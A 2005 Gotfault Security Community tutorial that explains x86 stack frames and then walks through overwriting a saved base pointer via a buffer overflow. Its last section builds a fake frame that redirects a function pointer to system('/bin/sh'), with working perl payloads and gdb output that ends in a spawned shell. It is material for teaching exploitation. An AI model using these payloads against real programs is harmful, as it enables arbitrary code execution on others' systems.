Gotfault Security Community (GSC) ---------[ Chapter : 0x300 ] ---------[ Subject : Function Stack Frame Manipulation ] ---------[ Author : barros A.K.A Carlos Barros ] ---------[ Date : 09/15/2005 ] ---------[ Version : 1.1 ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ] 0x310 - Objective 0x320 - Requisites 0x330 - Introduction 0x340 - Stack layout 0x341 - main()'s stack frame 0x342 - func()'s stack frame 0x343 - Stack frame destruction 0x350 - Manipulating the stack frame 0x360 - Having fun with stack frame manipulation 0x370 - Conclusion |=-----------------------------------------------------------------------------=| ---------[ 0x310 - Objective ] Manipulate the stack frame of a function in order to execute arbitrary code ---------[ 0x320 - Requisites ] Introduction to Local Stack Overflow (Basic Module); Local Stack Overflow (Advcanced Module). ---------[ 0x330 - Introduction ] Stack frame is a region reserverd to store function's local variables, as well as to store parameter to be passed to other functions. Each function has you own stack frame and is responsible to create it and save/restore the caller's stack frame. In this paper we will discuss how the stack frame works and how buffer overflows can be used to manipulate local variables. ---------[ 0x340 - Stack layout ] Lets consider this source code: barros@gotfault:sources$ cat source1.c void func(char *buf) { printf("%s\n",buf); } int main() { char buf[256]; func(buf); } barros@gotfault:sources$ gcc source1.c -o source Disassembling this program, we get: Dump of assembler code for function main: 0x0804822f : push %ebp 0x08048230 : mov %esp,%ebp 0x08048232 : sub $0x118,%esp 0x08048238 : and $0xfffffff0,%esp 0x0804823b : mov $0x0,%eax 0x08048240 : sub %eax,%esp 0x08048242 : lea 0xfffffef8(%ebp),%eax 0x08048248 : mov %eax,(%esp) 0x0804824b : call 0x8048214 0x08048250 : leave 0x08048251 : ret End of assembler dump. Dump of assembler code for function func: 0x08048214 : push %ebp 0x08048215 : mov %esp,%ebp 0x08048217 : sub $0x8,%esp 0x0804821a : mov 0x8(%ebp),%eax 0x0804821d : mov %eax,0x4(%esp) 0x08048221 : movl $0x8095e68,(%esp) 0x08048228 : call 0x8049640 0x0804822d : leave 0x0804822e : ret End of assembler dump. As you can see, the first 3 instructions and the last 2 instructions of both function are the same (almost the same). These 5 instructions are responsible for the creation/destruction of the stack frame of the function. Lets study it step by step (creation first): * push %ebp: This instruction saves the %ebp register (base pointer) of the caller function. The %ebp register is the reference to the function stack frame; * mov %esp,%ebp: This instruction initializes the new stack frame, pointing the %ebp register to the start of the new frame. * sub $0x118,%esp: This instruction reserves the space for the local variables. 0x118 = 280 bytes. This is the space reserved to the local variables. Our "buf" var is only 256, and our stack space is 280 bytes, why? The reason is "alignment". Newer versions of gcc keeps the alignment in 16 bytes, so our 256 bytes var, actually, has 272 bytes. And what about the other 8 bytes? It is another "feature" of newer gcc's. Each function has 8 dummy bytes free in the local vars region. Now I'll show these steps in action. First, I'll show the stack layout of the main function and after I'll will describe, step by step, what is going one with the register and the stack itself. ---------[ 0x341 - main()'s stack frame ] + | +------------------+ | | main()'s ret | | +------------------+ | | _init saved %ebp | <- %ebp | +------------------+ | | | | | dummy[8] | | | | | +------------------+ | | | | | buf[272] | | | | <- %esp | +------------------+ - v The above diagarm represent the main() function stack frame, after the initialization instructions (described at the previous section). The frame is delimited by the registers %ebp and %esp. As I said, %ebx is the reference of all local variables and parameter, passed to the function. For instance, if you look at you have the folowing instruction: : lea 0xfffffef8(%ebp),%eax This instruction simply gets the address of our "buf" var and stores in the %eax register. 0xfffffef8(%ebp) is the sabe of %ebp-264. So, our "buf" var starts at this address. This ilustrates the importance of the %ebp register in the context of a function, regarding to local vars. %ebp is of the same importance to access parameters passed to function and it will be demonstrated in the next section. ---------[ 0x342 - func()'s stack frame ] + | +------------------+----------+ | | main()'s ret | | | +------------------+ | | | _init saved %ebp | | | +------------------+ | | | | | | | dummy[8] | | | | | | | +------------------+ | | | | | | | buf[272] | | | | | +-> main()'s frame | +------------------+ | | | &buf | | | +------------------+ | | | ret addr | | | +------------------+----------+ | | main saved %ebp | <- %ebp | | +------------------+ | | | | +-> func()'s frame | | dummy[8] | | | | | <- %esp | | +------------------+----------+ - v This is what the stack looks like when inside func(). Lets take a look in this creation process. The sequence of instructions executed is as follows: 0x08048242 : lea 0xfffffef8(%ebp),%eax 0x08048248 : mov %eax,(%esp) 0x0804824b : call 0x8048214 0x08048214 : push %ebp 0x08048215 : mov %esp,%ebp 0x08048217 : sub $0x8,%esp First, the address of the "buf" var is stored in the stack, then, func() is called. The call instruction stores the return address in the stack to be able to return the execution flow. Withing func(), the main()'s %ebp register is stored in the stack (to be restored later). The last two instructions setup the new stack frame, pointing %ebp to the same place %esp is pointing to and then leaving space to the local vars. ---------[ 0x343 - Stack frame destruction ] Ok, I talked about stack frame construction, but, what heppen when the func() returns? Well, func MUST restore the main()'s stack frame. To do this, there's two instructions in the end of the function, that look like this: 0x0804822d : leave 0x0804822e : ret * leave: This instruction can be divided into two new istructions: * mov %ebp,%esp; * pop %ebp The first one restore the stack pointer (%esp). Remember, in the creation proccess, when there's a instruction sub $0x8,%esp? Well, this other instructions do exactly the oposite. It is like a add $0x8,%esp. The second instruction restores the base pointer (%ebp) saved from the main() function. * ret: This instructions does the oposite of the call instruction. It pop the return address (saved by the call function) into the %eip register. This way, the flow of execution returns to the next instruction after the call. Now, take the last diagram, apply this steps and take a look what it looks like. + | +------------------+ | | main()'s ret | | +------------------+ | | _init saved %ebp | <- %ebp | +------------------+ | | | | | dummy[8] | | | | | +------------------+ | | | | | buf[272] | | | | <- %esp | +------------------+ - v Hmm, seems known?? Yes, it is exactly the same layout as the original main()'s frame. ---------[ 0x350 - Manipulating local variables ] Now, i'll show how to manipulate the contents of local variables using a simple BOF. I'll use the following source code as example: void func(char *str) { char buffer[256]; int i; i = 0; while(*str) buffer[i++] = *str++; } int main(int ac, char **av) { char *fstring = "First string"; char *sstring = "Second string"; if(ac >= 2) func(av[1]); printf("%s => %s\n",fstring,sstring); } barros@gotfault:sources$ gcc vuln1.c -o vuln1 -static barros@gotfault:sources$ ./vuln1 First string => Second string As you can see, there's a function (func()) that is vulnerable to a simple buffer overflow. We will not overwrite the EIP register, since it is not the intent of this paper. Instead, we will overwrite just the saved EBP of main(). In this example, we'll build a fake stack frame and overwrite the main()'s one with our fake frame. In this fake frame, the strings will be inverted, so, the result of the printf will be: Second string => First string. At first, lets reconstruct main()'s and func()'s stack frame: Dump of assembler code for function main: 0x08048259 : push %ebp 0x0804825a : mov %esp,%ebp 0x0804825c : sub $0x18,%esp 0x0804825f : and $0xfffffff0,%esp 0x08048262 : mov $0x0,%eax 0x08048267 : sub %eax,%esp 0x08048269 : movl $0x8095ec8,0xfffffffc(%ebp) 0x08048270 : movl $0x8095ed5,0xfffffff8(%ebp) (gdb) x/s 0x8095ec8 0x8095ec8 <_IO_stdin_used+4>: "First string" (gdb) x/s 0x8095ed5 0x8095ed5 <_IO_stdin_used+17>: "Second string" + | +------------------+ | | main()'s ret | | +------------------+ | | _init saved %ebp | <- %ebp | +------------------+ | | &"First string" | | +------------------+ | | &"Second string" | | +------------------+ | | | | | dummy[16] | | | | <- %esp | +------------------+ - v Dump of assembler code for function func: 0x08048214 : push %ebp 0x08048215 : mov %esp,%ebp 0x08048217 : sub $0x118,%esp + | +------------------+ | | func()'s ret | | +------------------+ | | main saved %ebp | <- %ebp | +------------------+ | | | | | dummy[8] | | | | | +------------------+ | | | | | buffer[256] | | | | | +------------------+ | | i | | +------------------+ | | | | | dummy[12] | | | | <- %esp | +------------------+ - v Now that we now both frames' layout, it is simple to construct our buffer. We need to create a fake frame with the same layout of main()'s frame, as we will overwrite it. Then, we must overwrite the main's saved %ebp, in func(). Our buffer will look like this: [&"First string"][&"Second string"][_init saved %ebp][main()'s ret]["A"x248][&(buffer+8)] | | +------------------------- Frake frame ---------------------------+ Get the address we need is a very easy task. We already have the two strings' address. To get the other addresses, we will use GDB. barros@gotfault:sources$ gdb vuln1 -q Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x804825f (gdb) disassemble func Dump of assembler code for function func: 0x08048214 : push %ebp 0x08048215 : mov %esp,%ebp 0x08048217 : sub $0x118,%esp 0x0804821d : movl $0x0,0xfffffef4(%ebp) 0x08048227 : mov 0x8(%ebp),%eax 0x0804822a : cmpb $0x0,(%eax) 0x0804822d : jne 0x8048231 0x0804822f : jmp 0x8048257 0x08048231 : mov 0xfffffef4(%ebp),%eax 0x08048237 : lea 0xfffffff8(%ebp),%edx 0x0804823a : add %edx,%eax 0x0804823c : lea 0xffffff00(%eax),%edx 0x08048242 : mov 0x8(%ebp),%eax 0x08048245 : incl 0x8(%ebp) 0x08048248 : movzbl (%eax),%eax 0x0804824b : mov %al,(%edx) 0x0804824d : lea 0xfffffef4(%ebp),%eax 0x08048253 : incl (%eax) 0x08048255 : jmp 0x8048227 0x08048257 : leave 0x08048258 : ret End of assembler dump. (gdb) b *func+67 Breakpoint 2 at 0x8048257 (gdb) r `perl -e 'print"A"x268'` Starting program: /home/barros/exploits/ebp/sources/vuln1 `perl -e 'print"A"x268'` Breakpoint 1, 0x0804825f in main () (gdb) x/x $ebp 0xbffff3a8: 0xbffff5b8 ==> _init saved %ebp (gdb) x/x $ebp+4 0xbffff3ac: 0x0804853c ==> main()'s ret (gdb) (gdb) c Continuing. Breakpoint 2, 0x08048257 in func () (gdb) x/20x $esp 0xbffff160: 0x080ae0ac 0x080ae040 0x00000003 0x00000112 0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) First string: 0x8095ec8 Second string: 0x8095ed5 _init saved &ebp: 0xbffff5b8 main()'s ret: 0x0804853c &buffer: 0xbffff170 Now that we have all the address, it is simple to attack the program. Lets use our buffer we've defined above, but now using the addresses we got: [0x8095ec8][0x8095ed5][0xbffff5b8][0x0804853c]["A"x264][0xbffff178] (gdb) r "`perl -e 'print"\xc8\x5e\x09\x08\xd5\x5e\x09\x08\xb8\xf5\xff\xbf\x3c\x85\x04\x08","A"x248,"\x78\xf1\xff\xbf"'`" Starting program: /home/barros/exploits/ebp/sources/vuln1 "`perl -e 'print"\xc8\x5e\x09\x08\xd5\x5e\x09\x08\xb8\xf5\xff\xbf\x3c\x85\x04\x08","A"x248,"\x78\xf1\xff\xbf"'`" Breakpoint 1, 0x0804825f in main () (gdb) c Continuing. Breakpoint 2, 0x08048257 in func () (gdb) c Continuing. Second string => First string Program exited with code 036. (gdb) ---------[ 0x360 - Having fun with stack frame manipulation ] The above example was just a demonstration of what can be done with this technique. Now, we'll use it to do some "evil" things. Lets look at the following source: void func(char *str) { char buffer[256]; int i; i = 0; while(*str) buffer[i++] = *str++; } void printString(char *str) { printf("%s\n",str); } int main(int ac, char **av) { char *string = "This is a sample string"; void (*funcptr)(char *) = printString; if(ac >= 2) func(av[1]); funcptr(string); } barros@gotfault:sources$ gcc vuln2.c -o vuln2 barros@gotfault:sources$ ./vuln2 This is a sample string This is a simple program that prints a message to the stdout. In order to print, the code initializes a function pointer and then, call it. Before everything, the vulnerable function (func()) is called to copy av[1] into the buffer (just like our last example). Well, our goal here is to manipulate the main()'s stack frame to point the *funcptr to some useful function. I'll just draw the main()'s frame layout here, cause the concepts were explained in the previous section of this article. Dump of assembler code for function main: 0x080483e4 : push %ebp 0x080483e5 : mov %esp,%ebp 0x080483e7 : sub $0x18,%esp 0x080483ea : and $0xfffffff0,%esp 0x080483ed : mov $0x0,%eax 0x080483f2 : sub %eax,%esp 0x080483f4 : movl $0x8048548,0xfffffffc(%ebp) 0x080483fb : movl $0x80483c9,0xfffffff8(%ebp) (gdb) x/s 0x8048548 0x8048548 <_IO_stdin_used+8>: "This is a sample string" (gdb) x/i 0x80483c9 0x80483c9 : push %ebp + | +------------------+ | | main()'s ret | | +------------------+ | | _init saved %ebp | <- %ebp | +------------------+ | | string | | +------------------+ | | funcptr | | +------------------+ | | | | | dummy[16] | | | | <- %esp | +------------------+ - v Here we will use the same techinique used in our previous example: create a fake stack frame and overwirte main()'s stack frame. To make our exploit useful, we have to point funcptr to some useful function. For the sake of this example, we will use system(). *string is passed to funcptr, this way we can fake string into pointing to "/bin/sh", this way, when funcptr(string) is called, we will call system("/bin/sh"). Lets prepare our buffer: [&(system())][&"/bin/sh"][_init saved %ebp][main()'s ret]["A"x248][&(buffer+8)] | | +------------------- Frake frame -----------------------+ Again, lets get these addresses. At first, we need to place the string "/bin/sh" somewhere in the memory. The best choice is in the environment. barros@gotfault:sources$ export BINSH="/bin/sh" Now, with GDB, we can get all this addresses: barros@gotfault:sources$ gdb vuln2 -q Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483ea (gdb) b *func+67 Breakpoint 2 at 0x80483c7 (gdb) r `perl -e 'print"A"x268'` Starting program: /home/barros/exploits/ebp/sources/vuln2 `perl -e 'print"A"x268'` Breakpoint 1, 0x080483ea in main () (gdb) x/x system 0xb7eeda50 : 0x83e58955 (gdb) x/x $ebp 0xbffff448: 0xbffff4a8 ==> _init saved %ebp (gdb) x/x $ebp+4 0xbffff44c: 0xb7ec4974 ==> main()'s ret (gdb) x/x $ebp+16 0xbffff458: 0xbffff4e0 (gdb) x/20x 0xbffff4e0 0xbffff4e0: 0xbffff707 0xbffff713 0xbffff723 0xbffff747 0xbffff4f0: 0xbffff75a 0xbffff766 0xbffff99b 0xbffffe67 0xbffff500: 0xbffffe72 0xbffffe88 0xbffffef5 0xbfffff0e 0xbffff510: 0xbfffff1a 0xbfffff40 0xbfffff54 0xbfffff62 0xbffff520: 0xbfffff6b 0xbfffff73 0xbfffff85 0xbfffff94 (gdb) x/s 0xbfffff54 0xbfffff54: "BINSH=/bin/sh" (gdb) x/s 0xbfffff54+6 0xbfffff5a: "/bin/sh" ==> "/bin/sh" (gdb) c Continuing. Breakpoint 2, 0x080483c7 in func () (gdb) x/20x $esp 0xbffff310: 0xb7eae020 0xb8000ca0 0xb7fe9d2c 0x0000010c 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141 system(): 0xb7eeda50 "/bin/sh": 0xbfffff5a _init saved %ebp: 0xbffff4a8 main()'s ret: 0xb7ec4974 &buffer: 0xbffff320 With this addresses, our buffer will be like this: [0xb7eeda50][0xbfffff5a][0xbffff4a8][0xb7ec4974]["A"x248][0xbffff328] Lets check it out: barros@gotfault:sources$ gdb vuln2 -q Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r "`perl -e 'print"\x50\xda\xee\xb7\x5a\xff\xff\xbf\xa8\xf4\xff\xbf\x74\x49\xec\xb7","A"x248,"\x28\xf3\xff\xbf"'`" Starting program: /home/barros/exploits/ebp/sources/vuln2 "`perl -e 'print"\x50\xda\xee\xb7\x5a\xff\xff\xbf\xa8\xf4\xff\xbf\x74\x49\xec\xb7","A"x248,"\x28\xf3\xff\xbf"'`" sh-2.05b$ exit Program exited normally. (gdb) ---------[ 0x370 - Conclusion ] Overwriting the EIP is not the only attack vector to use against buffer overflows. Overwriting EBP, sometimes, can be more powerfull than the normal attack. The last example is a demonstration of how powerfull it can be against non-exec stacks, and it is just the basic. You can do a lot a things with this technique, just put your mind to work. ;)